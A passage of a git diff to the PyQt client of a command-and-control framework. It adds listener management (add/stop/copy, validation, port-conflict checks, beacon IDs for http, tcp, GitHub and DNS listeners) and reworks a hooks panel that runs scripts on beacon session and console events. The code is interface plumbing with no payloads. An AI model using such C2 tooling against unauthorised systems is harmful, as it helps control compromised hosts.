_text(getattr(conflict, "listenerHash", "")) + listenerRef = f" {listenerHash[:8]}" if listenerHash else "" + return f"Port {conflict.port} is already used by {conflict.type} listener{listenerRef}." + # # Listener tab implementation # class Listener(): - def __init__(self, id, hash, type, host, port, nbSession): + def __init__(self, id, hash, type, host, port, nbSession, beaconHash=""): self.id = id self.listenerHash = hash self.type = type self.host = host self.port = port self.nbSession = nbSession + self.beaconHash = beaconHash + + def hostDisplay(self): + if self.beaconHash: + return self.beaconHash[:8] + return self.host + + def hostTooltip(self): + if not self.beaconHash: + return self.host + + endpoint = self.host + if self.port: + endpoint = f"{endpoint}:{self.port}" + return f"Beacon ID: {self.beaconHash}\nEndpoint: {endpoint}" class Listeners(QWidget): @@ -63,27 +236,61 @@ class Listeners(QWidget): idListener = 0 listListenerObject = [] + COLUMN_WIDTHS = [76, 70, 160, 72] + STRETCH_COLUMN = 2 def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) self.grpcClient = grpcClient + self.idListener = 0 + self.listListenerObject = [] + apply_dark_panel_style(self) self.createListenerWindow = None widget = QWidget(self) self.layout = QGridLayout(widget) + self.layout.setContentsMargins(4, 4, 4, 4) + self.layout.setHorizontalSpacing(6) + self.layout.setVerticalSpacing(4) + self.layout.setColumnStretch(0, 1) + self.layout.setRowStretch(2, 1) self.label = QLabel(ListenerTabTitle) - self.layout.addWidget(self.label) + self.headerLayout = QHBoxLayout() + self.headerLayout.setSpacing(4) + self.headerLayout.addWidget(self.label) + self.headerLayout.addStretch(1) + + self.addListenerButton = self.createToolbarButton("Add", "Create a new primary listener.") + self.addListenerButton.clicked.connect(self.listenerForm) + self.headerLayout.addWidget(self.addListenerButton) + + self.stopListenerButton = self.createToolbarButton("Stop", "Stop the selected listener.") + self.stopListenerButton.clicked.connect(self.stopSelectedListener) + self.headerLayout.addWidget(self.stopListenerButton) + + self.copyListenerIdButton = self.createToolbarButton("Copy", "Copy the selected listener hash.") + self.copyListenerIdButton.clicked.connect(self.copySelectedListenerId) + self.headerLayout.addWidget(self.copyListenerIdButton) + + self.refreshButton = self.createToolbarButton("Refresh", "Refresh listeners now.", width=70) + self.refreshButton.clicked.connect(self.listListeners) + self.headerLayout.addWidget(self.refreshButton) + self.layout.addLayout(self.headerLayout, 0, 0) + self.statusLabel = QLabel("") - self.layout.addWidget(self.statusLabel) + self.statusLabel.setMinimumHeight(18) + self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listListener = QTableWidget() self.listListener.setShowGrid(False) + self.listListener.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Expanding) self.listListener.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.listListener.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.listListener.setRowCount(0) self.listListener.setColumnCount(4) @@ -91,12 +298,11 @@ def __init__(self, parent, grpcClient): # self.listListener.cellPressed.connect(self.listListenerClicked) self.listListener.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) self.listListener.customContextMenuRequested.connect(self.showContextMenu) + self.listListener.itemSelectionChanged.connect(self.updateActionButtons) self.listListener.verticalHeader().setVisible(False) - header = self.listListener.horizontalHeader() - for i in range(header.count()): - header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - self.layout.addWidget(self.listListener) + self.configureTableColumns() + self.layout.addWidget(self.listListener, 2, 0) # Thread to get listeners every second # https://realpython.com/python-pyqt-qthread/ @@ -108,14 +314,79 @@ def __init__(self, parent, grpcClient): self.thread.start() self.setLayout(self.layout) - - def setStatusMessage(self, ack, successFallback): + self.updateActionButtons() + + def createToolbarButton(self, text, tooltip, width=58): + button = QPushButton(text) + button.setToolTip(tooltip) + button.setFixedHeight(26) + button.setMinimumWidth(width) + button.setMaximumWidth(width) + return button + + def configureTableColumns(self): + header = self.listListener.horizontalHeader() + header.setStretchLastSection(False) + header.setMinimumSectionSize(44) + for index, width in enumerate(self.COLUMN_WIDTHS): + if index == self.STRETCH_COLUMN: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Stretch) + else: + header.setSectionResizeMode(index, QHeaderView.ResizeMode.Interactive) + self.listListener.setColumnWidth(index, width) + + def setStatusMessage(self, ack, successFallback, action="Operation"): message = operation_ack_text(ack, successFallback) - self.statusLabel.setText(message) - if is_response_ok(ack): - self.statusLabel.setStyleSheet("color: #0a7f2e;") - else: - self.statusLabel.setStyleSheet("color: #b00020;") + self.setInlineStatus(format_action_status(action, message), is_response_ok(ack)) + + def setInlineStatus(self, message, ok=True): + apply_status(self.statusLabel, message, status_kind_for_ok(ok)) + + def updateActionButtons(self): + hasSelection = self.selectedListener() is not None + self.stopListenerButton.setEnabled(hasSelection) + self.copyListenerIdButton.setEnabled(hasSelection) + + def selectedListener(self): + selectedRows = self.listListener.selectionModel().selectedRows() if self.listListener.selectionModel() else [] + if not selectedRows: + return None + + row = selectedRows[0].row() + if row < 0 or row >= len(self.listListenerObject): + return None + return self.listListenerObject[row] + + def scriptSnapshot(self): + snapshots = [] + for listenerStore in self.listListenerObject: + snapshots.append( + { + "id": listenerStore.id, + "listener_hash": _text(listenerStore.listenerHash), + "beacon_hash": _text(listenerStore.beaconHash), + "type": _text(listenerStore.type), + "host": _text(listenerStore.host), + "port": listenerStore.port, + "session_count": listenerStore.nbSession, + } + ) + return snapshots + + def stopSelectedListener(self): + listenerStore = self.selectedListener() + if listenerStore is None: + self.setInlineStatus("Select a listener first.", False) + return + self.stopListener(listenerStore.listenerHash) + + def copySelectedListenerId(self): + listenerStore = self.selectedListener() + if listenerStore is None: + self.setInlineStatus("Select a listener first.", False) + return + QApplication.clipboard().setText(listenerStore.listenerHash) + self.setInlineStatus("Listener ID copied to clipboard.") def __del__(self): self.getListenerWorker.quit() @@ -154,30 +425,44 @@ def actionClicked(self, action): # form for adding a listener def listenerForm(self): if self.createListenerWindow is None: - self.createListenerWindow = CreateListner() + self.createListenerWindow = CreateListner(lambda: self.listListenerObject) self.createListenerWindow.procDone.connect(self.addListener) + else: + self.createListenerWindow.setExistingListenersProvider(lambda: self.listListenerObject) self.createListenerWindow.show() # send message for adding a listener def addListener(self, message): - if message[0]=="github": + listenerType = _text(message[0]) if len(message) > 0 else "" + param1 = _text(message[1]) if len(message) > 1 else "" + param2 = _text(message[2]) if len(message) > 2 else "" + valid, error = validate_listener_fields(listenerType, param1, param2) + if not valid: + self.setInlineStatus(format_action_status("Add listener", error), False) + return + conflict = find_tcp_port_conflict(listenerType, param2, self.listListenerObject) + if conflict is not None: + self.setInlineStatus(format_action_status("Add listener", listener_port_conflict_message(conflict)), False) + return + + if listenerType=="github": listener = TeamServerApi_pb2.Listener( - type=message[0], - project=message[1], - token=message[2]) - elif message[0]=="dns": + type=listenerType, + project=param1, + token=param2) + elif listenerType=="dns": listener = TeamServerApi_pb2.Listener( - type=message[0], - domain=message[1], - port=int(message[2])) + type=listenerType, + domain=param1, + port=int(param2)) else: listener = TeamServerApi_pb2.Listener( - type=message[0], - ip=message[1], - port=int(message[2])) + type=listenerType, + ip=param1, + port=int(param2)) ack = self.grpcClient.addListener(listener) - self.setStatusMessage(ack, "Listener command accepted.") + self.setStatusMessage(ack, "Listener command accepted.", action="Add listener") # send message for stoping a listener @@ -185,7 +470,7 @@ def stopListener(self, listenerHash): listener = TeamServerApi_pb2.ListenerSelector( listener_hash=listenerHash) ack = self.grpcClient.stopListener(listener) - self.setStatusMessage(ack, "Listener stop command accepted.") + self.setStatusMessage(ack, "Listener stop command accepted.", action="Stop listener") # query the server to get the list of listeners @@ -213,29 +498,55 @@ def listListeners(self): # maj if listener.listener_hash == listenerStore.listenerHash: inStore=True - listenerStore.nbSession=listener.session_count + listenerStore.type = listener.type + listenerStore.nbSession = listener.session_count + listenerStore.beaconHash = _text(getattr(listener, "beacon_hash", "")) + if listener.type == GithubType: + listenerStore.host = listener.project + listenerStore.port = listener.token[0:10] + elif listener.type == DnsType: + listenerStore.host = listener.domain + listenerStore.port = listener.port + elif listener.type == SmbType: + listenerStore.host = listener.ip + listenerStore.port = listener.domain + else: + listenerStore.host = listener.ip + listenerStore.port = listener.port # add # if listener is not yet already on our list if not inStore: - - self.listenerScriptSignal.emit("start", "", "", "") - + beaconHash = _text(getattr(listener, "beacon_hash", "")) if listener.type == GithubType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count, beaconHash) elif listener.type == DnsType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count, beaconHash) elif listener.type == SmbType: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count, beaconHash) else: - self.listListenerObject.append(Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count)) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count, beaconHash) + self.listListenerObject.append(listenerStore) self.idListener = self.idListener+1 + self.listenerScriptSignal.emit( + "start", + listenerStore.listenerHash, + listenerStore.type, + listenerStore.host, + ) self.printListeners() def printListeners(self): self.listListener.setRowCount(len(self.listListenerObject)) - self.listListener.setHorizontalHeaderLabels(["Listener ID", "Type", "Host", "Port"]) + self.listListener.setHorizontalHeaderLabels(["ID", "Type", "Host/Beacon", "Port"]) + for index, tooltip in { + 0: "Listener hash", + 2: "Primary bind host, or beacon ID for child listeners.", + }.items(): + headerItem = self.listListener.horizontalHeaderItem(index) + if headerItem is not None: + headerItem.setToolTip(tooltip) for ix, listenerStore in enumerate(self.listListenerObject): listenerHash = QTableWidgetItem(listenerStore.listenerHash[0:8]) @@ -244,71 +555,179 @@ def printListeners(self): type = QTableWidgetItem(listenerStore.type) self.listListener.setItem(ix, 1, type) - host = QTableWidgetItem(listenerStore.host) + host = QTableWidgetItem(listenerStore.hostDisplay()) + host.setToolTip(listenerStore.hostTooltip()) self.listListener.setItem(ix, 2, host) port = QTableWidgetItem(str(listenerStore.port)) self.listListener.setItem(ix, 3, port) + self.updateActionButtons() class CreateListner(QWidget): procDone = pyqtSignal(list) - def __init__(self): + def __init__(self, existingListenersProvider=None): super().__init__() + self.existingListenersProvider = existingListenersProvider or (lambda: []) + apply_dark_panel_style(self) layout = QFormLayout() + layout.setContentsMargins(12, 12, 12, 12) + layout.setHorizontalSpacing(10) + layout.setVerticalSpacing(8) self.labelType = QLabel(TypeLabel) self.qcombo = QComboBox(self) - self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType]) + self.qcombo.addItems(PRIMARY_LISTENER_TYPES) self.qcombo.setCurrentIndex(1) self.qcombo.currentTextChanged.connect(self.changeLabels) self.type = self.qcombo layout.addRow(self.labelType, self.type) + self.helpLabel = QLabel("") + self.helpLabel.setWordWrap(True) + layout.addRow(self.helpLabel) + self.labelIP = QLabel(IpLabel) self.param1 = QLineEdit() - self.param1.setText("0.0.0.0") + self.param1.setClearButtonEnabled(True) layout.addRow(self.labelIP, self.param1) self.labelPort = QLabel(PortLabel) self.param2 = QLineEdit() - self.param2.setText("8443") + self.param2.setClearButtonEnabled(True) + self.portValidator = QIntValidator(1, 65535, self) layout.addRow(self.labelPort, self.param2) - self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend) - layout.addRow(self.buttonOk) + self.errorLabel = QLabel("") + self.errorLabel.setMinimumHeight(18) + self.errorLabel.setWordWrap(True) + self.errorLabel.setVisible(False) + layout.addRow(self.errorLabel) + + self.buttonLayout = QHBoxLayout() + self.buttonLayout.addStretch(1) + self.cancelButton = QPushButton("Cancel", clicked=self.close) + self.buttonOk = QPushButton("Add", clicked=self.checkAndSend) + self.buttonOk.setDefault(True) + self.buttonLayout.addWidget(self.cancelButton) + self.buttonLayout.addWidget(self.buttonOk) + layout.addRow(self.buttonLayout) self.setLayout(layout) self.setWindowTitle(AddListenerWindowTitle) + self.setMinimumWidth(360) + apply_dark_window_chrome(self) + self.param1.textChanged.connect(self.updateFormState) + self.param2.textChanged.connect(self.updateFormState) + self.param1.returnPressed.connect(self.checkAndSend) + self.param2.returnPressed.connect(self.checkAndSend) + self.changeLabels() + def showEvent(self, event): + super().showEvent(event) + apply_dark_window_chrome(self) - def changeLabels(self): - if self.qcombo.currentText() == HttpType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - elif self.qcombo.currentText() == HttpsType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - elif self.qcombo.currentText() == TcpType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - elif self.qcombo.currentText() == GithubType: - self.labelIP.setText(ProjectLabel) - self.labelPort.setText(TokenLabel) - elif self.qcombo.currentText() == DnsType: - self.labelIP.setText(DomainLabel) - self.labelPort.setText(PortLabel) + def setExistingListenersProvider(self, existingListenersProvider): + self.existingListenersProvider = existingListenersProvider or (lambda: []) + self.updateFormState() + def changeLabels(self): + self.clearValidationError() + listenerType = self.qcombo.currentText() + config = LISTENER_FORM_CONFIG[listenerType] + + self.labelIP.setText(config["param1_label"]) + self.labelPort.setText(config["param2_label"]) + self.helpLabel.setText(config["help"]) + self.param1.setPlaceholderText(config["param1_placeholder"]) + self.param2.setPlaceholderText(config["param2_placeholder"]) + self.param1.setToolTip(config["param1_placeholder"]) + self.param2.setToolTip(config["param2_placeholder"]) + + if listenerType in PORT_FIELD_TYPES: + self.param2.setValidator(self.portValidator) + self.param2.setEchoMode(QLineEdit.EchoMode.Normal) + else: + self.param2.setValidator(None) + self.param2.setEchoMode( + QLineEdit.EchoMode.Password if config["secret"] else QLineEdit.EchoMode.Normal + ) + + self.applyParam1Default(listenerType, config["default_param1"]) + self.applyParam2Default(listenerType, config["default_param2"]) + self.updateFormState() + + def applyParam1Default(self, listenerType, defaultValue): + current = self.param1.text().strip() + shouldReset = not current or current in AUTO_FIELD_VALUES + + if listenerType in {HttpType, HttpsType, TcpType}: + shouldReset = shouldReset or not self.looksLikeIp(current) + elif listenerType == DnsType: + shouldReset = shouldReset or self.looksLikeIp(current) or "/" in current or ":" in current + elif listenerType == GithubType: + shouldReset = shouldReset or self.looksLikeIp(current) or "://" in current + + if shouldReset: + self.param1.setText(defaultValue) + + def applyParam2Default(self, listenerType, defaultValue): + current = self.param2.text().strip() + if listenerType in PORT_FIELD_TYPES: + shouldReset = not current or current in AUTO_FIELD_VALUES or not current.isdigit() + else: + shouldReset = current in AUTO_FIELD_VALUES or current.isdigit() + + if shouldReset: + self.param2.setText(defaultValue) + + def looksLikeIp(self, value): + candidate = _text(value) + if candidate and candidate not in AUTO_FIELD_VALUES: + try: + ip_address(candidate) + return True + except ValueError: + return False + return False + + def clearValidationError(self): + clear_status(self.errorLabel, "") + self.errorLabel.setVisible(False) + + def showValidationError(self, message): + apply_error(self.errorLabel, message) + self.errorLabel.setVisible(True) + + def updateFormState(self): + self.clearValidationError() + valid, _ = validate_listener_fields( + self.type.currentText(), + self.param1.text(), + self.param2.text(), + ) + if valid and find_tcp_port_conflict(self.type.currentText(), self.param2.text(), self.existingListenersProvider()): + valid = False + self.buttonOk.setEnabled(valid) + def checkAndSend(self): - type = self.type.currentText() - param1 = self.param1.text() - param2 = self.param2.text() + type = self.type.currentText().strip() + param1 = self.param1.text().strip() + param2 = self.param2.text().strip() + + valid, error = validate_listener_fields(type, param1, param2) + if not valid: + self.showValidationError(error) + return + conflict = find_tcp_port_conflict(type, param2, self.existingListenersProvider()) + if conflict is not None: + self.showValidationError(listener_port_conflict_message(conflict)) + return result = [type, param1, param2] - self.procDone.emit(result) self.close() @@ -319,6 +738,7 @@ class GetListenerWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_LISTENER_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -328,9 +748,9 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) - except Exception as e: - pass + time.sleep(self.refreshIntervalSeconds) + except Exception: + logger.exception("Listener refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 9c69b50..5f0caf3 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -5,18 +5,34 @@ from pathlib import Path from datetime import datetime -from threading import Thread, Lock, Semaphore +from threading import Semaphore -from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal -from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut +from PyQt6.QtCore import Qt, QEvent, pyqtSignal from PyQt6.QtWidgets import ( - QCompleter, - QLineEdit, - QPlainTextEdit, + QAbstractItemView, + QComboBox, + QHBoxLayout, + QHeaderView, + QLabel, + QPushButton, + QTableWidget, + QTableWidgetItem, + QTextBrowser, QVBoxLayout, QWidget, ) +from .console_style import ( + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) +from .autocomplete import CompletionInput +from .panel_style import apply_dark_panel_style + +logger = logging.getLogger(__name__) + # # scripts @@ -43,24 +59,86 @@ package_name = "C2Client.Scripts" +HOOK_ORDER = [ + "ManualStart", + "OnStart", + "OnStop", + "OnListenerStart", + "OnListenerStop", + "OnSessionStart", + "OnSessionUpdate", + "OnSessionStop", + "OnConsoleSend", + "OnConsoleReceive", +] + +HOOK_TRIGGER_NOTES = { + "ManualStart": "Manual-only hook launched from the Hooks panel.", + "OnStart": "Client window connected/reconnected to the TeamServer.", + "OnStop": "Client window is closing; this depends on Qt widget teardown.", + "OnListenerStart": "Listener table saw a listener start event.", + "OnListenerStop": "Listener table saw a listener stop event.", + "OnSessionStart": "Session table saw a new beacon.", + "OnSessionUpdate": "Session table saw updated beacon data; this can repeat often during refresh.", + "OnSessionStop": "Session table saw a killed/stopped beacon.", + "OnConsoleSend": "Operator sent a command from a beacon console.", + "OnConsoleReceive": "Beacon console received command output.", +} + +MAIN_HOOKS = { + "start": "OnStart", + "stop": "OnStop", +} +LISTENER_HOOKS = { + "start": "OnListenerStart", + "stop": "OnListenerStop", +} +SESSION_HOOKS = { + "start": "OnSessionStart", + "stop": "OnSessionStop", + "update": "OnSessionUpdate", +} +CONSOLE_HOOKS = { + "send": "OnConsoleSend", + "receive": "OnConsoleReceive", +} +SCRIPT_COMPLETIONS = [ + ("help", []), +] + +SCRIPT_NAME_ROLE = Qt.ItemDataRole.UserRole + +COL_ENABLED = 0 +COL_SCRIPT = 1 +COL_HOOKS = 2 +COL_LAST_RUN = 3 +COL_ACTIVATIONS = 4 +COL_ERRORS = 5 + # ---------------------------- # Load all scripts as modules # ---------------------------- LoadedScripts = [] +FailedScripts = [] for entry in scripts_path.iterdir(): if entry.suffix == ".py" and entry.name != "__init__.py": modname = f"{package_name}.{entry.stem}" try: m = importlib.import_module(modname) LoadedScripts.append(m) - print(f"Successfully imported {modname}") - except Exception as e: - print(f"Failed to import {modname}: {e}") - traceback.print_exc() + logger.debug("Imported script module %s", modname) + except Exception as exc: + FailedScripts.append(f"{modname}: {exc}") + logger.warning( + "Failed to import script module %s: %s", + modname, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) # -# Script tab implementation +# Hooks tab implementation # class Script(QWidget): tabPressed = pyqtSignal() @@ -69,110 +147,508 @@ class Script(QWidget): def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) self.layout.setContentsMargins(0, 0, 0, 0) self.grpcClient = grpcClient + self.scriptStates = {} + self.tableItemsByScript = {} + self.lastHookContexts = {} + self.clientStateProvider = self.emptyClientState + self._tableUpdating = False # self.logFileName=LogFileName - self.editorOutput = QPlainTextEdit() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + self.automationTable = QTableWidget() + self.automationTable.setColumnCount(6) + self.automationTable.setHorizontalHeaderLabels( + ["Active", "Hook file", "Hooks", "Last run", "Runs", "Errors"] + ) + self.automationTable.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + self.automationTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) + self.automationTable.setAlternatingRowColors(True) + self.automationTable.verticalHeader().setVisible(False) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ENABLED, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_SCRIPT, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_HOOKS, QHeaderView.ResizeMode.Stretch) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_LAST_RUN, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ACTIVATIONS, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.horizontalHeader().setSectionResizeMode(COL_ERRORS, QHeaderView.ResizeMode.ResizeToContents) + self.automationTable.itemChanged.connect(self.onAutomationItemChanged) + self.automationTable.itemSelectionChanged.connect(self.updateManualHookSelector) + self.layout.addWidget(self.automationTable, 4) + + manualLayout = QHBoxLayout() + self.manualHookSelector = QComboBox() + self.manualHookSelector.setMinimumWidth(220) + self.runHookButton = QPushButton("Run Hook") + self.runHookButton.clicked.connect(self.runSelectedHook) + manualLayout.addWidget(QLabel("Manual hook:")) + manualLayout.addWidget(self.manualHookSelector, 1) + manualLayout.addWidget(self.runHookButton) + self.layout.addLayout(manualLayout) + + self.editorOutput = QTextBrowser() + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) - self.layout.addWidget(self.editorOutput, 8) + self.layout.addWidget(self.editorOutput, 5) self.commandEditor = CommandEditor() - self.layout.addWidget(self.commandEditor, 2) + self.commandEditor.setPlaceholderText("Hooks command") + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) - output = "" - for script in LoadedScripts: - output += script.__name__ + "\n" - self.printInTerminal("Loaded Scripts:", output) - - - def nextCompletion(self): - index = self._compl.currentIndex() - self._compl.popup().setCurrentIndex(index) - start = self._compl.currentRow() - if not self._compl.setCurrentRow(start + 1): - self._compl.setCurrentRow(0) + self.buildAutomationStates() + self.refreshAutomationTable() + self.printLoadedAutomationSummary() def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): - for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnSessionStart") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionStart", output) - elif action == "stop": - methode = getattr(script, "OnSessionStop") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionStop", output) - elif action == "update": - methode = getattr(script, "OnSessionUpdate") - output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) - if output: - self.printInTerminal("OnSessionUpdate", output) - except: - continue + hookName = SESSION_HOOKS.get(action) + if not hookName: + return + + event = { + "beacon_hash": beaconHash, + "listener_hash": listenerHash, + "hostname": hostname, + "username": username, + "arch": arch, + "privilege": privilege, + "os": os, + "last_proof_of_life": lastProofOfLife, + "killed": killed, + } + context = self.buildHookContext( + hookName, + action, + objectType="session", + objectId=beaconHash, + event=event, + ) + self.dispatchHook(hookName, context) def listenerScriptMethod(self, action, hash, str3, str4): - for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnListenerStart") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnListenerStart", output) - elif action == "stop": - methode = getattr(script, "OnListenerStop") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnListenerStop", output) - except: - continue + hookName = LISTENER_HOOKS.get(action) + if not hookName: + return + + event = { + "listener_hash": hash, + "type": str3, + "host": str4, + } + context = self.buildHookContext( + hookName, + action, + objectType="listener", + objectId=hash, + event=event, + ) + self.dispatchHook(hookName, context) def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result, commandId=""): - for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "receive": - methode = getattr(script, "OnConsoleReceive") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnConsoleReceive", output) - elif action == "send": - methode = getattr(script, "OnConsoleSend") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnConsoleSend", output) - except: - continue + hookName = CONSOLE_HOOKS.get(action) + if not hookName: + return + + event = { + "beacon_hash": beaconHash, + "listener_hash": listenerHash, + "console_context": context, + "command": cmd, + "result": result, + "command_id": commandId, + } + hookContext = self.buildHookContext( + hookName, + action, + objectType="session", + objectId=beaconHash, + event=event, + ) + self.dispatchHook(hookName, hookContext) def mainScriptMethod(self, action, str2, str3, str4): + hookName = MAIN_HOOKS.get(action) + if not hookName: + return + + context = self.buildHookContext( + hookName, + action, + event={"action": action}, + ) + self.dispatchHook(hookName, context) + + def setClientStateProvider(self, provider): + self.clientStateProvider = provider or self.emptyClientState + + def emptyClientState(self): + return {"sessions": [], "listeners": []} + + def clientStateSnapshot(self): + try: + snapshot = self.clientStateProvider() + except Exception as exc: + logger.warning( + "Failed to build script client state snapshot: %s", + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) + self.printInTerminal("Manual context error:", str(exc)) + return {"sessions": [], "listeners": [], "error": str(exc)} + + if not isinstance(snapshot, dict): + return {"sessions": [], "listeners": []} + + return { + "sessions": self.copySnapshotItems(snapshot.get("sessions", [])), + "listeners": self.copySnapshotItems(snapshot.get("listeners", [])), + } + + def copySnapshotItems(self, items): + copied = [] + for item in items or []: + if isinstance(item, dict): + copied.append(dict(item)) + return copied + + def buildHookContext(self, hookName, trigger, *, objectType="", objectId="", event=None): + snapshot = self.clientStateSnapshot() + event = dict(event or {}) + objectType = str(objectType or "") + objectId = str(objectId or "") + resolvedObject = self.resolveSnapshotObject(snapshot, objectType, objectId) + + context = { + "hook": hookName, + "trigger": trigger, + "trigger_description": HOOK_TRIGGER_NOTES.get(hookName, ""), + "timestamp": datetime.now().isoformat(timespec="seconds"), + "object_type": objectType, + "object_id": objectId, + "object": resolvedObject, + "sessions": snapshot.get("sessions", []), + "listeners": snapshot.get("listeners", []), + "event": event, + } + if "error" in snapshot: + context["snapshot_error"] = snapshot["error"] + return context + + def resolveSnapshotObject(self, snapshot, objectType, objectId): + if not objectType or not objectId: + return None + + if objectType == "session": + collection = snapshot.get("sessions", []) + keys = ("beacon_hash", "id") + elif objectType == "listener": + collection = snapshot.get("listeners", []) + keys = ("listener_hash", "id") + else: + return None + + objectId = str(objectId) + for item in collection: + for key in keys: + if str(item.get(key, "")) == objectId: + return dict(item) + return None + + def buildAutomationStates(self): + self.scriptStates = {} for script in LoadedScripts: - scriptName = script.__name__ - try: - if action == "start": - methode = getattr(script, "OnStart") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnStart", output) - elif action == "stop": - methode = getattr(script, "OnStop") - output = methode(self.grpcClient) - if output: - self.printInTerminal("OnStop", output) - except: + scriptName = self.scriptName(script) + hooks = self.scriptHooks(script) + self.scriptStates[scriptName] = { + "script": script, + "enabled": True, + "hooks": hooks, + "last_run": "Never", + "activations": 0, + "errors": 0, + "last_error": "", + "load_error": "", + "description": self.scriptDescription(script), + "hook_descriptions": self.scriptHookDescriptions(script), + } + + for failure in FailedScripts: + scriptName, error = self.parseFailedScript(failure) + self.scriptStates[scriptName] = { + "script": None, + "enabled": False, + "hooks": [], + "last_run": "Never", + "activations": 0, + "errors": 1, + "last_error": error, + "load_error": error, + "description": "", + "hook_descriptions": {}, + } + + def refreshAutomationTable(self): + self._tableUpdating = True + self.tableItemsByScript = {} + scriptNames = sorted(self.scriptStates) + self.automationTable.setRowCount(len(scriptNames)) + + for row, scriptName in enumerate(scriptNames): + state = self.scriptStates[scriptName] + enabledItem = QTableWidgetItem() + enabledItem.setData(SCRIPT_NAME_ROLE, scriptName) + enabledItem.setFlags( + (enabledItem.flags() | Qt.ItemFlag.ItemIsUserCheckable) + & ~Qt.ItemFlag.ItemIsEditable + ) + if state["script"] is None: + enabledItem.setFlags(enabledItem.flags() & ~Qt.ItemFlag.ItemIsEnabled) + enabledItem.setCheckState( + Qt.CheckState.Checked if state["enabled"] else Qt.CheckState.Unchecked + ) + self.automationTable.setItem(row, COL_ENABLED, enabledItem) + self.setTableItem(row, COL_SCRIPT, self.displayScriptName(scriptName), scriptName) + self.setTableItem(row, COL_HOOKS, ", ".join(state["hooks"]) or "-", scriptName) + self.setTableItem(row, COL_LAST_RUN, state["last_run"], scriptName) + self.setTableItem(row, COL_ACTIVATIONS, str(state["activations"]), scriptName) + self.setTableItem(row, COL_ERRORS, str(state["errors"]), scriptName) + self.updateAutomationRowTooltip(row, scriptName) + self.tableItemsByScript[scriptName] = row + + if scriptNames and self.automationTable.currentRow() < 0: + self.automationTable.setCurrentCell(0, COL_SCRIPT) + + self._tableUpdating = False + self.updateManualHookSelector() + + def setTableItem(self, row, column, text, scriptName): + item = QTableWidgetItem(text) + item.setData(SCRIPT_NAME_ROLE, scriptName) + item.setFlags(item.flags() & ~Qt.ItemFlag.ItemIsEditable) + self.automationTable.setItem(row, column, item) + + def updateAutomationRow(self, scriptName): + row = self.tableItemsByScript.get(scriptName) + if row is None: + return + + state = self.scriptStates[scriptName] + 